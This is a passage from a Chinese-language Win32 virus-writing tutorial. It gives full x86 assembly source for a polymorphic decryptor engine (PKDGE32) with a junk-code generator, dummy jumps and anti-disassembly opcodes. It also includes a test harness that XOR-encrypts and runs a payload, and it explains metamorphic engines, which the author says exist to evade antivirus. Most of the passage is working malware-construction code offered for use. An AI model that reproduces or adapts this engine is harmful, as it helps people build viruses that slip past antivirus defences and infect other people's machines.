                cmp     bl,al                   ; R == Ry ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,12
                cmp     bl,al                   ; R == Rw ?
                pop     ebx
                jz      pkdg_sel_reg
                ret


;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All  the  register  mask  in  the  engine  (PKDGE32) measure up this formula:
; bit  2~0  specifies the register mask,  bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 |  type  |
; +-------+-------+--------+
; |   x   |   0   |  byte  |
; +-------+-------+--------+
; |   0   |   1   | dword  |
; +-------+-------+--------+
; |   1   |   1   |  word  |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H.  If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing
;

__pkdge32_test_regmask:
                test    ah,1
                jz      pkdg_trm_ret
                push    eax
                mov     al,66h
                stosb
                pop     eax
pkdg_trm_ret:   ret


;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_mov_reg_imm:
                call    __pkdge32_test_regmask
                push    esi
                or      al,0b0h                 ; generate opcode
                stosb                           ; ...
                xchg    eax,esi                 ; EAX get the operand
                shr     esi,4
                jc      pkdg_gmri_dw            ; word/dword ? byte ?
                stosb                           ; byte
                pop     esi
                ret
pkdg_gmri_dw:   shr     esi,5
                pop     esi
                jc      pkdg_gmri_w
                stosd                           ; dword
                ret
pkdg_gmri_w:    stosw                           ; word
                ret


;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_pushimm_popreg:
                call    __pkdge32_test_regmask
                push    ecx
                mov     ecx,esi                 ; save IMM in ecx
                xchg    esi,eax
                test    esi,8                   ; test BYTE or WORD/DWORD
                jz      pkdg_gpp_b
                mov     al,68h                  ; push WORD/DWORD
                stosb                           ; write opcode
                xchg    eax,ecx                 ; get IMM
                test    esi,100h                ; test WORD or DWORD
                jnz     pkdg_gpp_w
                stosd                           ; write operand
                jmp     pkdg_gpp_pop
pkdg_gpp_w:     stosw
                jmp     pkdg_gpp_pop
pkdg_gpp_b:     mov     al,6ah                  ; push BYTE
                stosb                           ; write opcode
                mov     al,cl                   ; get IMM
                stosb                           ; write operand
pkdg_gpp_pop:   push    edi
                xor     eax,eax
                push    esi
                mov     esi,[esp+28]
                call    __pkdge32_junk
                pop     esi
                call    __pkdge32_test_regmask
                xchg    esi,eax
                or      al,58h                  ; generate POP opcode
                stosb                           ; write pop REG opcode
                pop     eax
                pop     ecx
                ret


;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       esi --- the immediate number
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_xor_reg_imm:
                call    __pkdge32_test_regmask
                test    al,1000b
                jnz     pkdg_gxri_dw
                and     eax,7                   ; register mask
                xchg    al,ah
                or      eax,3080h
                stosw
                xchg    eax,esi
                stosb
                ret
pkdg_gxri_dw:   push    eax
                and     eax,7                    ; register mask
                xchg    al,ah
                or      eax,3081h
                stosw
                xchg    eax,esi
                pop     esi
                shr     esi,9
                jc      pkdg_gxri_w
                stosd                           ; dword
                ret
pkdg_gxri_w:    stosw                           ; word
                ret


;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator.  It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This  procedure use EAX as junk  register in order to  generate  instructionz
; like:
;
;               mov     eax,21343ab7h
;               shr     eax,8
; or:
;               push    eax
;               rol     eax,1
;               pop     eax
; etc.
;
; It generatez dummy jumpz such as:
;
;               call    @1
;               junk
;               jmp     @3
; @2:           junk
;               ret
; @1:           junk
;               jmp     @2
; @3:           junk
;
; It also generatez anti-static-debugging opcodez such as:
;
;               jmp     @0
;               db      e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- If eax equalz to zero,  the function generatez random length of
;               instructionz,  if  eax is nonzero,  the  function  generatez  a
;               certain length of instruction.
;       esi --- pointz to the RNG seed buffer
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing but junk codez in the buffer that EDI specified
;

__pkdge32_junk: pushad
                xor     ebx,ebx
                xchg    esi,ebp             ; let EBP hold the seed ptr.
                or      eax,eax             ; EAX containz number from 0~7
                jnz      pkdg_js            ; 0~5: gen. 0~5 bytez of junk codez
                mov     edx,7               ; 6: generate dummy jumpz
                mov     eax,ebp
                call    __random            ; ...
pkdg_js:        or      eax,eax             ; 0: nothing to do
                jz      pkdg_j_ret          ; just go back
                xchg    ecx,eax             ; let ECX hold that number
                cmp     ecx,6
                jz      pkdg_j_dj

;
; Generate certain length simpile instructionz
;

pkdg_j_gclsi:   mov     edx,ecx
                mov     eax,ebp
                call    __random
                or      eax,eax
                jz      pkdg_j_g1b
                dec     eax
                jz      pkdg_j_g2b
                dec     eax
                jz      pkdg_j_g3b
                dec     eax
                dec     eax
                jz      pkdg_j_g5b
                jmp     pkdg_j_gclsi

;
; Generate 5-byte instruction
;

pkdg_j_g5b:     call    pkdg_j_5
                db      0b8h                ; mov  eax,imm32
                db      05h                 ; add  eax,imm32
                db      15h                 ; adc  eax,imm32
                db      2dh                 ; sub  eax,imm32
                db      1dh                 ; sbb  eax,imm32
                db      3dh                 ; cmp  eax,imm32
                db      0a9h                ; test eax,imm32
                db      0dh                 ; or   eax,imm32
                db      25h                 ; and  eax,imm32
                db      35h                 ; xor  eax,imm32
pkdg_j_5:       pop     esi
                mov     eax,ebp
                mov     edx,10
                call    __random
                add     esi,eax
                movsb
                mov     eax,ebp
                mov     edx,0fffffffch
                call    __random
                inc     eax
                inc     eax
                stosd
                sub     ecx,5               ; decrease counter
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi

;
; Generate 3-byte instruction
;

pkdg_j_g3b:     call    pkdg_j_3
                db      0c1h,0e0h           ; shl eax,imm8
                db      0c1h,0e8h           ; shr eax,imm8
                db      0c1h,0c0h           ; rol eax,imm8
                db      0c1h,0c8h           ; ror eax,imm8
                db      0c1h,0d0h           ; rcl eax,imm8
                db      0c1h,0d8h           ; rcr eax,imm8
                db      0c0h,0e0h           ; shl al,imm8
                db      0c0h,0e8h           ; shr al,imm8
                db      0c0h,0c0h           ; rol al,imm8
                db      0c0h,0c8h           ; ror al,imm8
                db      0c0h,0d0h           ; rcl al,imm8
                db      0c0h,0d8h           ; rcr al,imm8
                db      0ebh,01h            ; anti-static-debugging instr.
pkdg_j_3:       pop     esi
                mov     eax,ebp
                mov     edx,13
                call    __random
                shl     eax,1               ; EAX *= 2
                add     esi,eax
                movsw
                cmp     eax,24
                jge     pkdg_j3_anti
                mov     eax,ebp
                mov     edx,14
                call    __random
                inc     eax
                inc     eax
pkdg_j_3f:      stosb
                sub     ecx,3               ; decrease counter
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi
pkdg_j3_anti:   mov     eax,ebp
                mov     edx,10h
                call    __random
                add     al,70h
                jmp     pkdg_j_3f

;
; Generate 2-byte instruction
;

pkdg_j_g2b:     call    pkdg_j_2
                db      89h                 ; mov  eax,reg
                db      01h                 ; add  eax,reg
                db      11h                 ; adc  eax,reg
                db      29h                 ; sub  eax,reg
                db      19h                 ; sbb  eax,reg
                db      39h                 ; cmp  eax,reg
                db      85h                 ; test eax,reg
                db      09h                 ; or   eax,reg
                db      21h                 ; and  eax,reg
                db      31h                 ; xor  eax,reg
                db      0b0h                ; mov  al,imm8
                db      04h                 ; add  al,imm8
                db      14h                 ; adc  al,imm8
                db      2ch                 ; sub  al,imm8
                db      1ch                 ; sbb  al,imm8
                db      3ch                 ; cmp  al,imm8
                db      0a8h                ; test al,imm8
                db      0ch                 ; or   al,imm8
                db      24h                 ; and  al,imm8
                db      34h                 ; xor  al,imm8
pkdg_j_2:       pop     esi
                mov     eax,ebp
                mov     edx,20
                call    __random
                add     esi,eax
                movsb                       ; write the opcode
                cmp     eax,10
                jge     pkdg_j2_imm8
                mov     eax,ebp
                mov     edx,8
                call    __random
                shl     eax,3               ; dest. operand
                or      al,0c0h             ; ...
                jmp     pkdg_j2_f
pkdg_j2_imm8:   mov     eax,ebp
                mov     edx,100h
                call    __random
pkdg_j2_f:      stosb
                dec     ecx                 ; decrease counter
                dec     ecx                 ; ...
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi

;
; Generate 1-byte instruction
;

pkdg_j_g1b:     call    pkdg_j_1
                db      90h                 ; nop
                db      0f8h                ; clc
                db      0f9h                ; stc
                db      40h                 ; inc eax
                db      48h                 ; dec eax
                db      37h                 ; aaa
                db      3fh                 ; aas
                db      98h                 ; cbw
                db      0fch                ; cld
                db      0f5h                ; cmc
                db      27h                 ; daa
                db      2fh                 ; das
                db      9fh                 ; lahf
                db      0d6h                ; salc
pkdg_j_1:       pop     esi
                mov     eax,ebp
                mov     edx,14
                call    __random
                add     esi,eax
                movsb                       ; write the code
                dec     ecx                 ; decrease counter
                or      ecx,ecx
                jnz     pkdg_j_gclsi
pkdg_j_rptr:    mov     [esp],edi
pkdg_j_ret:     popad
                ret

;
; Generate  dummy jumpz.  the  generation formula show in the decription of the
; __pkdge32_junk procedure
;

pkdg_j_dj:      mov     al,0e8h             ; call xxxxxxxx
                stosb                       ; ...
                stosd                       ; addr1, no matter what, fix l8r
                push    edi
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0ebh             ; jmp xx
                stosb                       ; ...
                stosb                       ; addr2, no matter what, fix l8r
                push    edi
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0c3h             ; ret
                stosb                       ; ...
                mov     eax,[esp+4]         ; fix addr1
                xchg    eax,edi             ; ...
                sub     eax,edi             ; ...
                sub     edi,4               ; ...
                stosd                       ; ...
                add     edi,eax             ; ...
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0ebh             ; jmp xx
                stosb                       ; ...
                mov     eax,[esp]           ; ...
                sub     eax,edi             ; ...
                dec     eax                 ; ...
                stosb                       ; ...
                pop     eax                 ; fix addr2
                xchg    eax,edi             ; ...
                sub     eax,edi             ; ...
                dec     edi                 ; ...
                stosb                       ; ...
                add     edi,eax             ; ...
                pop     eax                 ; pop a shit
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                jmp     pkdg_j_rptr

程序中有完整的注释,加之前面的分析,这里我就不做过多解释了。整个引擎为1.353KB。
下面是这个引擎的测试程序:

format  PE GUI 4.0
entry   __start
include 'useful.inc'


.data

col_code: times crypted_size+200h    db  0
rng_seed        dd          ?


.code

include 'pkrng.inc'
include 'pkdge32.inc'

__start:        mov     edi,col_code
                mov     esi,rng_seed
                mov     ecx,crypted_size
                mov     ebx,12345678h
                mov     edx,78h
                call    __pkdge32
                push    edi

                mov     esi,edi
                xchg    eax,edi
                stosd

                xchg    esi,edi
                mov     esi,crypt_code
                mov     ecx,crypted_size
                rep     movsb

                pop     esi
                mov     ecx,crypted_size
                mov     edi,esi
encrypt:        lodsb
                xor     al,78h
                stosb
                loop    encrypt

                jmp     col_code

crypt_code:     xor     eax,eax
                push    eax
                @pushsz 'PKDGE32 Test'
                @pushsz 'This code has been decrypted sucessfully!'
                push    eax
                call    [MessageBoxA]
                ret
crypted_size = $-crypt_code


.idata

@imp_libz   usr,'user32.dll'
@imp_apiz   usr,MessageBoxA,'MessageBoxA'

12、变形(Metamorphism)
-----------------------

由于meta的复杂性, 而且我的水平有限,所以在这一节我只介绍变形引擎的一些基本知识
而不给出代码(当然,网上可以找到很多关于meta的代码,我就不在这里列出了)。 也许
在这篇教程的后续版本中我会完成一个完整的meta引擎并补充进来。

变形是在多态的基础上发展起来的。 传统的poly只是把解密代码随机化,而病毒代码仅仅
是通过一个加密算法加密。 而meta的思想是对整个病毒代码进行变形。一般的meta引擎主
要有这么几个部分:

    1)  反汇编器(Disassembler): 把病毒代码(机器码)反汇编成引擎可以识别的伪
        代码(pseudo-code。具体的代码形式根据作者的喜好、习惯而定 :P),

    2)  收缩器(Shrinker):对反汇编后的代码进行分析,简化代码(如把ADD EAX,10H
        /ADD EAX,12H合并为一句MOV EAX,22H),删除上一代产生的垃圾代码等。这是整
        个引擎中最为复杂的部分, 也正是因为有这个部分的存在才使得meta变得异常庞
        大。其实在很多meta引擎中都没有这个部分(由于其复杂性), 使得病毒代码无
        限膨胀,最终变得不可用。

    3)  代码变换器(Permutator):这个部分复杂指令的变换, 如改变指令顺序、完成
        指令替换、改变寄存器的使用等,这些我们在上一节都已经接触过了, 但不同的
        是这里我们是要对伪代码进行处理(其实差不多)。

    4)  膨胀器(Expander):这个过程是收缩器的反过程,完成诸如拆分指令、 生成垃
        圾代码等工作。

    5)  汇编器(Assembler):这是引擎的最后一个部分,它负责把处理完成的伪代码重
        新汇编成机器可以识别的机器码。

看过上面的介绍各位读者是不是想放弃了呢 :P。是的,meta就是这样复杂,它的复杂性甚
至使很多人认为没有应用它的意义(虽然它有效地anti-AV)。但是时代不同了,现在有多
少人还会在乎代码的体积呢?我想也很少有人会注意自己的一些文件大了几十KB :D

其实meta也并不是没有简单的实现办法。这里我介绍一个最为简单的实现:Nopz Padding.
它在每条指令后用NOP填充,使每条指令等长。这样做的好处是我们不用使用Shrinker了,
整个引擎的设计也变得非常简单。这是meta引擎中最简单的实现方法:) 关于这类引擎的具
体代码可以参见Benny的BME32。 这个meta引擎简单易懂,在这里我就不多说了。请大家自
己分析吧 :)

13、结束语
----------

其实这篇文章介绍的内容并不多,也并不全面,但由于时间和能力的问题,我只能先就此停
笔了。我希望每位读者都能从这篇文章中得到些什么,这也是我写这篇文章的目的。希望大
家在各自的学习过程中都能少走弯路。不过,学习没有捷径,我们能做的只有踏实和努力。

最后我想说的是,由于我个人能力有限,所以文章中可能会存在着各种各样的问题,恳请大
家批评指出,并感谢大家肯耐心地把这篇文章读完...


-------------------------------------[完]---------------------------------------

你可能感兴趣的:(Win32病毒入门 -- ring3篇)